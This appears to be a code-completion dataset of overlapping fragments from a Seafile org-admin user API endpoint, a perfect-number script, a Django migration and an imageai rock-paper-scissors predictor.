"not is_valid_email(contact_email): error_msg = 'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except",
"try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not found.' %",
"too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\" in name:",
"= 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email",
"(c) 2012-2016 Seafile Ltd. import logging from rest_framework import status from rest_framework.views import",
"email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile and profile.contact_email else ''",
"'Name is too long (maximum is 64 characters).' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) if \"/\"",
"except User.DoesNotExist: error_msg = 'User %s not found.' % email return api_error(status.HTTP_404_NOT_FOUND, error_msg)",
"denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg = 'Permission denied.' return",
"if \"/\" in name: error_msg = \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST,",
"= contact_email.strip() if contact_email != '' and not is_valid_email(contact_email): error_msg = 'contact_email invalid.'",
"email return api_error(status.HTTP_404_NOT_FOUND, error_msg) # permission check if not request.user.org.is_staff: error_msg = 'Permission",
"> 64: error_msg = 'Name is too long (maximum is 64 characters).' return",
"profile.contact_email else '' return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes =",
"OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self,",
"permission_classes = (IsProVersion,) def put(self, request, org_id, email): \"\"\" update name of an",
"api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email = request.data.get(\"contact_email\", None) if contact_email",
"rest_framework.response import Response from rest_framework.authentication import SessionAuthentication from seaserv import ccnet_api from seahub.api2.permissions",
"not is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) # update user's",
"'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email) info['is_active'] = user.is_active return",
"from seahub.api2.endpoints.utils import is_org_user from seahub.utils import is_valid_email from seahub.base.accounts import User from",
"update user's contact email contact_email = request.data.get(\"contact_email\", None) if contact_email is not None:",
"request.data.get(\"contact_email\", None) if contact_email is not None: contact_email = contact_email.strip() if contact_email !=",
"IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error",
"from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from",
"request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if request.user.org.org_id != org_id: error_msg",
"if request.user.org.org_id != org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not",
"logging from rest_framework import status from rest_framework.views import APIView from rest_framework.response import Response",
"found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg",
"= User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not found.' % email return",
"seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import api_error from seahub.api2.endpoints.utils import is_org_user from seahub.utils",
"throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id, email): \"\"\" update",
"'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg = 'Permission denied.'",
"'contact_email invalid.' return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, contact_email=contact_email) except Exception as e: logger.error(e)",
"{} info['email'] = email info['name'] = email2nickname(email) info['contact_email'] = profile.contact_email if profile and",
"= Profile.objects.get_profile_by_user(email) info = {} info['email'] = email info['name'] = email2nickname(email) info['contact_email'] =",
"request.data.get(\"name\", None) if name is not None: name = name.strip() if len(name) >",
"try: Profile.objects.add_or_update(email, nickname=name) except Exception as e: logger.error(e) error_msg = 'Internal Server Error'",
"user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User %s not found.' % email",
"api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email, org_id): error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg)",
"not None: name = name.strip() if len(name) > 64: error_msg = 'Name is",
"error_msg) # update user's contact email contact_email = request.data.get(\"contact_email\", None) if contact_email is",
"Profile logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email']",
"an org user. Permission checking: 1. only admin can perform this action. \"\"\"",
"can perform this action. \"\"\" # resource check org_id = int(org_id) if not",
"from seahub.utils import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from",
"request.user.org.org_id != org_id: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN, error_msg) if not is_org_user(email,",
"seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils",
"= 'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) info = get_user_info(email) info['is_active'] = user.is_active",
"org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except User.DoesNotExist: error_msg = 'User",
"return info class OrgAdminUser(APIView): authentication_classes = (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes =",
"ccnet_api from seahub.api2.permissions import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication",
"= (TokenAuthentication, SessionAuthentication) throttle_classes = (UserRateThrottle,) permission_classes = (IsProVersion,) def put(self, request, org_id,",
"error_msg) # permission check if not request.user.org.is_staff: error_msg = 'Permission denied.' return api_error(status.HTTP_403_FORBIDDEN,",
"None: name = name.strip() if len(name) > 64: error_msg = 'Name is too",
"org user. Permission checking: 1. only admin can perform this action. \"\"\" #",
"import IsProVersion from seahub.api2.throttling import UserRateThrottle from seahub.api2.authentication import TokenAuthentication from seahub.api2.utils import",
"= \"Name should not include '/'.\" return api_error(status.HTTP_400_BAD_REQUEST, error_msg) try: Profile.objects.add_or_update(email, nickname=name) except",
"'Internal Server Error' return api_error(status.HTTP_500_INTERNAL_SERVER_ERROR, error_msg) # update user's contact email contact_email =",
"%s not found.' % org_id return api_error(status.HTTP_404_NOT_FOUND, error_msg) try: user = User.objects.get(email=email) except",
"logger = logging.getLogger(__name__) def get_user_info(email): profile = Profile.objects.get_profile_by_user(email) info = {} info['email'] =",
"seahub.utils import is_valid_email from seahub.base.accounts import User from seahub.base.templatetags.seahub_tags import email2nickname from seahub.profile.models"
] |
[
"0): factors.append(i) i += 1 for i in range(0, len(factors)): sum += factors[i]",
"= 1 sum = 0 while(True): if(x // (10 ** i) == 0):",
"x = int(input(\"Enter number \")) p = x i = 1 sum =",
"== x): print(\"It is perfect number\") else: print(\"It is not a perfect number\")",
"python3 x = int(input(\"Enter number \")) p = x i = 1 sum",
"= 0 while(True): if(x // (10 ** i) == 0): dig = i",
"+= 1 i = 1 factors=[] while(i < x): if(x % i ==",
"i break i += 1 i = 1 factors=[] while(i < x): if(x",
"x i = 1 sum = 0 while(True): if(x // (10 ** i)",
"factors=[] while(i < x): if(x % i == 0): factors.append(i) i += 1",
"for i in range(0, len(factors)): sum += factors[i] if(sum == x): print(\"It is",
"factors.append(i) i += 1 for i in range(0, len(factors)): sum += factors[i] if(sum",
"int(input(\"Enter number \")) p = x i = 1 sum = 0 while(True):",
"in range(0, len(factors)): sum += factors[i] if(sum == x): print(\"It is perfect number\")",
"factors[i] if(sum == x): print(\"It is perfect number\") else: print(\"It is not a",
"x): if(x % i == 0): factors.append(i) i += 1 for i in",
"number \")) p = x i = 1 sum = 0 while(True): if(x",
"\")) p = x i = 1 sum = 0 while(True): if(x //",
"= x i = 1 sum = 0 while(True): if(x // (10 **",
"i += 1 i = 1 factors=[] while(i < x): if(x % i",
"i == 0): factors.append(i) i += 1 for i in range(0, len(factors)): sum",
"+= factors[i] if(sum == x): print(\"It is perfect number\") else: print(\"It is not",
"if(sum == x): print(\"It is perfect number\") else: print(\"It is not a perfect",
"i = 1 factors=[] while(i < x): if(x % i == 0): factors.append(i)",
"if(x // (10 ** i) == 0): dig = i break i +=",
"i) == 0): dig = i break i += 1 i = 1",
"while(i < x): if(x % i == 0): factors.append(i) i += 1 for",
"i in range(0, len(factors)): sum += factors[i] if(sum == x): print(\"It is perfect",
"1 sum = 0 while(True): if(x // (10 ** i) == 0): dig",
"p = x i = 1 sum = 0 while(True): if(x // (10",
"= i break i += 1 i = 1 factors=[] while(i < x):",
"(10 ** i) == 0): dig = i break i += 1 i",
"break i += 1 i = 1 factors=[] while(i < x): if(x %",
"sum += factors[i] if(sum == x): print(\"It is perfect number\") else: print(\"It is",
"i += 1 for i in range(0, len(factors)): sum += factors[i] if(sum ==",
"#!/usr/bin/env python3 x = int(input(\"Enter number \")) p = x i = 1",
"= int(input(\"Enter number \")) p = x i = 1 sum = 0",
"sum = 0 while(True): if(x // (10 ** i) == 0): dig =",
"= 1 factors=[] while(i < x): if(x % i == 0): factors.append(i) i",
"== 0): dig = i break i += 1 i = 1 factors=[]",
"1 factors=[] while(i < x): if(x % i == 0): factors.append(i) i +=",
"== 0): factors.append(i) i += 1 for i in range(0, len(factors)): sum +=",
"len(factors)): sum += factors[i] if(sum == x): print(\"It is perfect number\") else: print(\"It",
"// (10 ** i) == 0): dig = i break i += 1",
"** i) == 0): dig = i break i += 1 i =",
"range(0, len(factors)): sum += factors[i] if(sum == x): print(\"It is perfect number\") else:",
"1 for i in range(0, len(factors)): sum += factors[i] if(sum == x): print(\"It",
"dig = i break i += 1 i = 1 factors=[] while(i <",
"+= 1 for i in range(0, len(factors)): sum += factors[i] if(sum == x):",
"while(True): if(x // (10 ** i) == 0): dig = i break i",
"i = 1 sum = 0 while(True): if(x // (10 ** i) ==",
"1 i = 1 factors=[] while(i < x): if(x % i == 0):",
"<filename>perfect.py #!/usr/bin/env python3 x = int(input(\"Enter number \")) p = x i =",
"% i == 0): factors.append(i) i += 1 for i in range(0, len(factors)):",
"< x): if(x % i == 0): factors.append(i) i += 1 for i",
"if(x % i == 0): factors.append(i) i += 1 for i in range(0,",
"0 while(True): if(x // (10 ** i) == 0): dig = i break",
"0): dig = i break i += 1 i = 1 factors=[] while(i"
] |
[
"django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations",
"2.1.3 on 2018-11-15 22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies =",
"('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state', name='name',",
"'0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state', name='name', field=models.CharField(blank=True,",
"] operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state', name='name', field=models.CharField(blank=True, max_length=50),",
"import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations =",
"22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'),",
"2018-11-15 22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation',",
"from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ]",
"= [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField(",
"operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state', name='name', field=models.CharField(blank=True, max_length=50), ),",
"dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id', ),",
"class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state',",
"migrations, models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [",
"models class Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField(",
"[ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state',",
"Migration(migrations.Migration): dependencies = [ ('recommendation', '0002_auto_20181115_2204'), ] operations = [ migrations.RemoveField( model_name='state', name='user_id',",
"= [ migrations.RemoveField( model_name='state', name='user_id', ), migrations.AlterField( model_name='state', name='name', field=models.CharField(blank=True, max_length=50), ), ]",
"<gh_stars>0 # Generated by Django 2.1.3 on 2018-11-15 22:59 from django.db import migrations,",
"Generated by Django 2.1.3 on 2018-11-15 22:59 from django.db import migrations, models class",
"by Django 2.1.3 on 2018-11-15 22:59 from django.db import migrations, models class Migration(migrations.Migration):",
"Django 2.1.3 on 2018-11-15 22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies",
"# Generated by Django 2.1.3 on 2018-11-15 22:59 from django.db import migrations, models",
"on 2018-11-15 22:59 from django.db import migrations, models class Migration(migrations.Migration): dependencies = ["
] |
[
"help for model type choice \"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3",
"type of the neural network (it must be the same of the training)",
"tuple (class_predicted, probability) that contains the best # prediction best_prediction = max( zip(predictions,",
"class RockPaperScissorsPredictor: \"\"\" This class contains the required code for model training and",
"class ModelTypeEnum(Enum): \"\"\" An helper enum to help for model type choice \"\"\"",
"self.model_type = model_type self.class_number = class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction",
"class MovesEnum(int, Enum): ROCK = 0 PAPER = 1 SCISSORS = 2 class",
"= model_type self.class_number = class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object",
"= 0 PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper",
"(class_predicted, probability) that contains the best # prediction best_prediction = max( zip(predictions, probabilities),",
"DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class contains the required code for",
"os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the trained model and set it",
"MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects:",
"\"\"\" An helper enum to help for model type choice \"\"\" RESNET =",
"self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object that will predict our moves",
"= CustomImagePrediction() # Set the model type of the neural network (it must",
"Set path to the json file that contains our classes and their labels",
"the neural network (it must be the same of the training) self._set_proper_model_type(self.model_type) #",
"SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper enum to help for model",
"model_type self.class_number = class_number self.base_path = os.getcwd() # Instantiate the CustomImagePrediction object that",
"ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), }",
"lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS,",
"x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP =",
"prediction best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1] <",
"the CustomImagePrediction object that will predict our moves self.predictor = CustomImagePrediction() # Set",
"Enum): ROCK = 0 PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\"",
"choice \"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET =",
"type choice \"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET",
"same of the training) self._set_proper_model_type(self.model_type) # Set path to the trained model file",
"must be the same of the training) self._set_proper_model_type(self.model_type) # Set path to the",
"to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set",
"# We have 3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type",
"self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path to the json file",
"model and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor)",
"console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER = 1 SCISSORS =",
"the json file that contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\",",
"= self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted, probability) that",
"for model training and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = {",
"MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda",
"} def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects: \"rock\",",
"and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x:",
"for model type choice \"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3 =",
"training) self._set_proper_model_type(self.model_type) # Set path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\",",
"self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the trained model and set",
"= os.getcwd() # Instantiate the CustomImagePrediction object that will predict our moves self.predictor",
"} MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__(",
"An helper enum to help for model type choice \"\"\" RESNET = 0",
"input_type=\"array\" ) # Get a tuple (class_predicted, probability) that contains the best #",
"0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\"",
"to help for model type choice \"\"\" RESNET = 0 SQEEZENET = 1",
"objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number = class_number self.base_path =",
"SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This",
"the model type of the neural network (it must be the same of",
"os from enum import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only errors",
"classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities =",
"RESNET = 0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET = 3 class",
"set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self,",
"os.getcwd() # Instantiate the CustomImagePrediction object that will predict our moves self.predictor =",
"use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions,",
"CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK =",
"model type choice \"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3 = 2",
"# Set path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\")",
"MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self,",
"MovesEnum(int, Enum): ROCK = 0 PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum):",
"required code for model training and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP",
"MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3",
"and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def",
"our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load",
"zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1] < sensibility: return return self.MOVES_LOOKUP[best_prediction[0]]",
"best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1] < sensibility:",
"0 PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper enum",
"file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path to the json",
"# prediction best_prediction = max( zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1]",
"\"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, #",
"x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def",
"path to the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) #",
"= 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class contains the required",
"be the same of the training) self._set_proper_model_type(self.model_type) # Set path to the trained",
"3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number = class_number",
"and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the trained",
"using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda",
"object that will predict our moves self.predictor = CustomImagePrediction() # Set the model",
"\"\"\" RESNET = 0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET = 3",
"the same of the training) self._set_proper_model_type(self.model_type) # Set path to the trained model",
"ROCK = 0 PAPER = 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An",
"): self.model_type = model_type self.class_number = class_number self.base_path = os.getcwd() # Instantiate the",
"self, model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects: \"rock\", \"paper\", \"scissors\" ):",
"the trained model file self.predictor.setModelPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model.h5\") ) # Set path",
"x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\":",
"model type of the neural network (it must be the same of the",
"json file that contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\",",
"= 2 class ModelTypeEnum(Enum): \"\"\" An helper enum to help for model type",
"= max( zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1] < sensibility: return",
"lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK,",
"ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\":",
"contains the required code for model training and move prediction using a webcam",
"model training and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET:",
"to the json file that contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path,",
"file that contains our classes and their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\")",
"their labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the trained model",
"MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET, class_number=3, # We",
"x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, }",
"logging import os from enum import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show",
"prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET:",
"\"paper\", \"scissors\" ): self.model_type = model_type self.class_number = class_number self.base_path = os.getcwd() #",
"detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get",
"picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a",
"errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0 PAPER = 1",
"that will predict our moves self.predictor = CustomImagePrediction() # Set the model type",
"# Set the model type of the neural network (it must be the",
"def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) #",
"predictions, probabilities = self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted,",
"import Enum from imageai.Prediction.Custom import CustomImagePrediction # Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR)",
"predict our moves self.predictor = CustomImagePrediction() # Set the model type of the",
"the trained model and set it to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self,",
"move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(),",
"\"data\", \"move_detector\", \"model.h5\") ) # Set path to the json file that contains",
"= { \"rock\": MovesEnum.ROCK, \"paper\": MovesEnum.PAPER, \"scissors\": MovesEnum.SCISSORS, } def __init__( self, model_type=ModelTypeEnum.RESNET,",
"\"model.h5\") ) # Set path to the json file that contains our classes",
"RockPaperScissorsPredictor: \"\"\" This class contains the required code for model training and move",
"ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x: x.setModelTypeAsDenseNet(), } MOVES_LOOKUP = { \"rock\":",
"INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor: \"\"\" This class contains the",
"= 1 SCISSORS = 2 class ModelTypeEnum(Enum): \"\"\" An helper enum to help",
"\"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3:",
"x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x: x.setModelTypeAsInceptionV3(), ModelTypeEnum.DENSENET: lambda x:",
") # Load the trained model and set it to use \"class_number\" classes",
"different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type = model_type self.class_number = class_number self.base_path",
"Get a tuple (class_predicted, probability) that contains the best # prediction best_prediction =",
"enum to help for model type choice \"\"\" RESNET = 0 SQEEZENET =",
"# Show only errors in console logging.getLogger(\"tensorflow\").setLevel(logging.ERROR) class MovesEnum(int, Enum): ROCK = 0",
"self.predictor.predictImage( picture, result_count=3, input_type=\"array\" ) # Get a tuple (class_predicted, probability) that contains",
"neural network (it must be the same of the training) self._set_proper_model_type(self.model_type) # Set",
"of the neural network (it must be the same of the training) self._set_proper_model_type(self.model_type)",
"= { ModelTypeEnum.RESNET: lambda x: x.setModelTypeAsResNet(), ModelTypeEnum.SQEEZENET: lambda x: x.setModelTypeAsSqueezeNet(), ModelTypeEnum.INCEPTIONV3: lambda x:",
"to use \"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90):",
"training and move prediction using a webcam \"\"\" MODEL_TYPE_SET_LOOKUP = { ModelTypeEnum.RESNET: lambda",
"labels self.predictor.setJsonPath( os.path.join(self.base_path, \"data\", \"move_detector\", \"model_class.json\") ) # Load the trained model and",
"model_type=ModelTypeEnum.RESNET, class_number=3, # We have 3 different objects: \"rock\", \"paper\", \"scissors\" ): self.model_type",
"\"class_number\" classes self.predictor.loadModel(num_objects=self.class_number) def _set_proper_model_type(self, model_type): self.MODEL_TYPE_SET_LOOKUP[model_type](self.predictor) def detect_move_from_picture(self, picture, sensibility=90): predictions, probabilities",
"max( zip(predictions, probabilities), key=lambda x: x[1] ) if best_prediction[1] < sensibility: return return",
"= 0 SQEEZENET = 1 INCEPTIONV3 = 2 DENSENET = 3 class RockPaperScissorsPredictor:",
